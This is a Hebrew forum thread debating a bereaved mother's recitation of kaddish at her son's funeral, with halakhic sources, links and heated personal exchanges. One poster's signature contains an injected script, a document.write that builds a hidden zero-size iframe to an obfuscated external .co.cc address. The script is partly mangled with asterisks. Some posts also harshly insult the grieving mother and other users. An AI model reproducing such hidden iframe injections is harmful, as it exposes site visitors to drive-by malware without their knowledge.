האם השכולה שגרמה גם לרב הראשי לענות אחריה אמן

אמשלום,

א(1). את דבריי בעניין האסור, המותר ומה שביניהם, העליתי כמענה לטענת mdabraham.

א(2). לא קראתי את דברי העומדים מאחרי טיעוני ה"אופס! אישה" (ואני מתנצל על העריכה), ואיני מכיר את תמהיל המקורות והערכים שבשמם הם מדברים. אני מניח שאחד הדברים העומדים בבסיס גישתם הוא הנהוג והמקובל. השמרנות היא ערך חשוב, והם רואים איום בכל קרסום שנעשה בו. חריגה ושינוי הסטנדרטים ההלכתיים והאחרים והדפוסים המקובלים נתפסים כ(סוג של) רפורמה. נדמה כי בעניין זה לפחות הם מאוד מודעים. ייתכן שכשהם נדחקים לפינת ה"בעצם למה לא?" הם נאלצים להתחבר באופן זה או אחר ליסודות הלכתיים או משלימים. גם הדוגמות מנשים צדקניות שהתעטפו בציצית, אינן מהוות מענה להתנגדותם לקידום אג'נדה שאינה אורתודוכס-קורקט באמצעות העיטוף בציצית.

ב. התייחסתי לדוגמה הספציפית, אבל האמירה הייתה עקרונית. לא נראה לי נכון להתייחס לעניית האמן ע"י הרבנים כאל "גול" של הצד האחד, או לבקר את אמירת הקדיש ולחפש צידוקים מיותרים לעניית האמן בצד האחר. כך הייתי אומר גם במקרה של אם ש"סתם" איבדה את בנה ב"סתם" תאונת דרכים אם היה בנסיבות דומות (של נוכחות הרבנים, של הסיקור התקשורתי, של עם שלם שמלווה את האירוע במשך שבועיים, של אובדן האנונימיות של אותה אם). אני לא חושב שניתן להשוות דיון אוביקטיבי שמישהו יעלה בנושא בעקבות קדיש שמישהי לא נודעת אמרה, ועאכו"כ לא למקרה בו מישהו מעלה את השאלה באופן תיאורטי.
(ונדמה לי שאכן הועלה הנושא כאן בפורום ע"י נישטאיך)

אז מה היה לנו?

א. קדיש. קדיש בהלויה/בבית העלמין הוא תקנה דרבנן - להבדיל מקדיש הנאמר במשך החודשים לאחר הפטירה, שנובע ממעשיה עתיקת יומין וכבר היה עליו דיון משלי באחד האשכולות - והוא נועד כדי שהקרוב יצדיק עליו את הדין.

ב. ההיסטוריה של השתתפות נשים: יש כנראה הליכים של קירבה וריחוק ביחס להשתתפות נשים בטכסים (סליחה, אבל אין לי מילה אחרת כרגע). לטענת ספראי ואחרים, בבית הכנסת של חז"ל ישבו נשים וגברים. בוודאי שכך היה בבית המקדש עד לתקנה שהפרידה ביניהם. היום יש נטיה להרחיק בחברה החרדית ובמיוחד החסידית. ויש נטיה של נשים לתבוע לעצמן חלק בחיי הקהילה, מה שמצוי יותר בנאו אורתודוכסיה (מונח סוציולוגי בלבד).

ג. היסטוריה של אמירת קדיש בידי נשים. כפי שצויין, יש עדויות לאמירת קדיש אצל נשים, ובהן סיפור אישי של מואדיב. וכאן יש לנו מעשה רב שהדבר מותר. אז איך זה הופך לאיסור חמור בעיני הבריות?

האם זה שנושאת הקדיש נחשבת לבת החברה הנאו אורתודוכסית (אני מקוה שהמונח הולם) גרם או תרם לכך?

עוד אוסיף כי תיאור ספרותי של הדילמה בחברה אורתודוכסית מודרנית (עם הבטים נוספים) מצוי בספרו של חיים פוטוק, "הנבל של דוידה", שבו הגיבורה, בת לאב גוי, אומרת קדיש על אביה בבית הכנסת.

השאלה בחברה החרדית, ובמיוחד זו המשתקפת בפורום שמותר להזכיר את שמו, היא חורגת לתחומים חוץ הלכתיים. אם יש מקום לשאלה הלכתית, דומה שהיא נוגעת לברייתא הידועה: "דברים המותרים ואחרים נהגו בהם איסור, אין להתירם בפניהם". סמיילי עצוב.

איקון ירוק מיוחד למיכי שהצביע על תופעה מעניינת של "שאלה שאינה צריכה - היתר מפורט נגד האוסרים". מתברר שכל דבר יכול להיות שאלה הלכתית וכל דבר זקוק לנימוקי היתר. במקרה זה מדובר בקדיש של אשה. זה יכול להיות בכל תחום אחר. וזה נושא הראוי לדיון בפני עצמו: מה עושים נגד התופעה של "שאלות", בהנחה שיש לדון בה שהתופעה אינה רצויה, בעייתית וראוי למנוע אותה ככל האפשר.

__נוספו כמה מילות הבהרה_______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

ונסי

ברוכה הבאה אל הפורום!

רדקי

ברוך השב!

ירמיהו

ברכה מיוחדת להופעה שלמרבה הצער אינה תדירית.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

.

מקסמן,

רק רשע מרושע בן-בנו של המן הרשע, כשרואה את האם השכולה מבכה את בנה, חושב שהיא מחפשת תשומת לב.

ברגיל, אין לענות לרשעים מנוולים חסרילב כאלו, אך חרגתי הפעם ועניתי.


נ.ב.
תתי לך, שאולי שליטתך בעברית כל כך מועטה - כפי שנראה מכתיבתך פעמים רבות - שאולי אינך מבין את אשר אתה כותב. אךמלבד נסיון עלוב זה שלי להפך בזכותך, אינני מוצא דרך אחרת לקרוא את הדברים חסרי הלב והמרושעים הללו.

אגם שמסופר על הריזינער ששמע פעם על מישהו שאמר על כזה מקרה שהוא מקבל את גזר הדין של האלוהים באהבה, הריזינער הגיב ואמר שההוא, אבא אכזר ושקרן וטיפש.
אכזר: כי אין לו באותו רגע מה לחשוב רק על עצמו כלומר שההמונים יגידו כמה צדיק הוא.
שקרן: כי אי אפשר לקבל דבר כזה באהבה.
טיפש: כי חושב שמישהו מאמין לו.

ולכן, לכל אחד קשה לומר קדיש בכזה מקרה, אבל למה כן אומרים קדיש הרי זה שקר זול ? התשובה שזה פשוט מטבע שתקנו חכמים, כלומר כל אדם אומר קדיש בכזה מקרה אך ורק את המילים בלי לכוון את המשמעות באמת הרי לא יכול הוא לשקר לעצמו. אבל שוב, אני מקבל את עדותו של הרב מיכי כנ"ל.

תוקן על ידי maxmen ב- 04/07/2014 07:13:55

מיימוני

<היסטוריה של אמירת קדיש בידי נשים. כפי שצויין, יש עדויות לאמירת קדיש אצל נשים, ובהן סיפור אישי של מואדיב. וכאן יש לנו מעשה רב שהדבר מותר. אז איך זה הופך לאיסור חמור בעיני הבריות<?
ענין "קדיש יתומה" נדון בעבר בעצכ"ח בעבר:

http://www.bhol.co.il/forums/topic.asp?whichpage=1&topic_id=3016476&forum_id=1364

מספר מאמרים בנושא באתר דעת, כאן:

http://www.daat.ac.il/daat/tfila/kadish/kadish.htm

<האם זה שנושאת הקדיש נחשבת לבת החברה הנאו אורתודוכסית (אני מקוה שהמונח הולם) גרם או תרם לכך?>

ראה שם:

הרב ארי (יצחק) שבט / הפמיניזם האורתודוקסי במבט גלותי ובמבט ישראלי - תגובה למאמרים

ד"ר יואל ב' וולוולסקי / תהליך תורני - תגובה לתגובה

מקסמן עצתי לך אל תהיה משתנה ואז לא מואדיב ולא אחרים ישתינו עליך.

אלו האמהות ואלו הבנים 

מתוך המטה היהודי


‏‏‏‏‏‏‏‏‏ו' תמוז תשע"דאחי ורעי3 ביולי 2014קראו, הגיבו והפיצוחר/144א.



כיצד עושים חסד בימינו? וכיצד מקדשים שם שמיים?


הרב גרוסמן הוא רבה של מגדל העמק, חתן פרס ישראל על חסד, צדקה וחינוך. ישראל נירט היה עוזרו והוא סיפר השבוע לרדיו "קול חי":לפני כ- 3 שנים קיבלתי טלפון: "שלום, אני נער בן 13, ואני מבקש להיפגש עם הרב גרוסמן ל-5 דקות", הסברתי לנער כי הרב עסוק מאוד ולא בטוח שאוכל להסדיר את הפגישה, לא הבנתי מה בוער וחשוב לילד בן 13 להיפגש עם הרב? מה הוא רוצה מהרב?. לאחר זמן קצר קיבלתי טלפון מאביו של הנער, שאמר: " שמע ידידי, בני חוגג בקרוב בר מצווה, קנינו לו טלית ותפילין חדשות", שאלנו מה הוא רוצה מתנה?, היינו בטוחים שיבקש אופניים או טיול מיוחד, אבל הילד התעקש, "אימא, אבא, אני לא רוצה כלום, פרט לדבר אחד, אני רוצה להיפגש עם הרב גרוסמן, זו המתנה הכי גדולה שאני יכול לקבל". נקבעה פגישה, הילד הנרגש נכנס עם אביו לחדרו של הרב גרוסמן. הפגישה שנקבעה ל-5 דקות, נמשכה כשעה וארבעים דקות.הילד שאל את הרב בהתרגשות:כבוד הרב, כיצד זוכים לעשות חסד? כיצד אפשר לעשות חסדים ברמות הגבוהות? כיצד אפשר לקדש שם שמיים ברבים? הרב נדהם והסביר לילד, כיצד יש לעשות חסד בדורנו, ואז הילד שאל, כיצד זוכים לקדש את שם הקב"ה?שם הילד: גיל-עד שאער הי"ד מהישוב טלמון.

מקס כתב "ובכן האדם הנורמלי (אפי' הפמיניסטית הנורמלית) פשוט רואה כאן אימא אנוכית ואכזרית ורשעית שרק חושבת על צומי עצמית אפי' על גבי דם בנה ועוד על הקבר הפתוח של בנה ועוד קבל עם ועדה (= בפומבי) "

מילון מקס - עולם, מיסודה של הרבנית אמשלום.
האדם הנורמלי - אדם נורמלי לפי מקס (אנל"מ) זהה לנורמלי הרגיל בכך שגם הוא חושב שהוא נורמלי. לרוב אינו מורשה לשוטט חופשי.

תוקן על ידי אריאל73 ב- 04/07/2014 14:16:41